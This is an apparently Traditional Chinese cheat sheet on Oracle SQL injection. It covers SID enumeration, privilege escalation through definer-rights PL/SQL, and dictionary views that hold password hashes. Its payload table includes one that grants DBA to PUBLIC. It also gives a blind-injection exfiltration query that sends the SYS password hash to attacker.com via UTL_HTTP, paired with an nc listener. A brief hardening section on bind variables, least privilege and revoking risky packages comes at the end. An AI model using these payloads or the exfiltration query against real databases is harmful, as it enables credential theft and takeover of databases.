Oracle 豐富的內建套件、預設帳戶、PL/SQL 執行架構,形成獨特注入利用鏈:
tnscmd.pl services 列舉 SID (舊版)。AUTHID DEFINER,PUBLIC 執行即以建立者 (通常 SYS) 權限執行 → 權限提升。BEGIN ... END; 間,可直接執行多語句、DDL、UTL_HTTP 外帶數據,**幾乎無限制**。DBMS_SQL 繞過 DML 限制執行 DDL。| 視圖/表 | 用途 |
|---|---|
ALL_TABLES / DBA_TABLES | 可存取/所有表清單 |
ALL_TAB_COLUMNS | 欄位定義,尋找密碼/敏感欄位 |
ALL_USERS / DBA_USERS | 用戶清單、密碼雜湊 (11g+ 加鹽) |
V$VERSION / V$INSTANCE | 版本、主機名、啟動時間 |
V$PARAMETER | 參數配置 (如 UTL_FILE_DIR) |
SYS.USER$ | 密碼雜湊 (需 SYS 權限) |
| 注入點 | 特徵 | 利用難度 | 典型 Payload |
|---|---|---|---|
| 數字型 | id=123 | 低 | 1 AND 1=1 -- |
| 字串型 | name=abc | 中 | ' AND '1'='1 -- |
| DML (SELECT/INSERT/UPDATE) | 單語句、無 BEGIN END | 中 | 需 UNION、DBMS_SQL 才能執行 DDL |
| PL/SQL 匿名區塊 | 輸入在 BEGIN ... END; 內 | **極低** | '; EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; -- |
當無回顯 (Blind SQLi) 時,利用 UTL_HTTP.REQUEST 將查詢結果發送至攻擊者監聽伺服器:
-- 攻擊者監聽: nc -lvp 8080
SELECT UTL_HTTP.REQUEST('https://attacker.com:8080/?data='||(SELECT password FROM dba_users WHERE username='SYS')) FROM DUAL;
優點:不依賴頁面回顯、可繞過 WAF 長度限制、可大量外帶。
' → \',Oracle 單引號轉義為 '',非 \' → 需用 CHR(39)、CHR(39)||CHR(39) 繞過。PreparedStatement / DBMS_SQL Bind Variable,**絕不拼接字串**。SELECT/INSERT/UPDATE/DELETE 特定表,**不授 DBA、CREATE PROCEDURE、EXECUTE ANY PROCEDURE**。ALTER USER scott ACCOUNT LOCK PASSWORD EXPIRE。REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC、UTL_FILE、DBMS_SQL、DBMS_LOB 等高風險套件。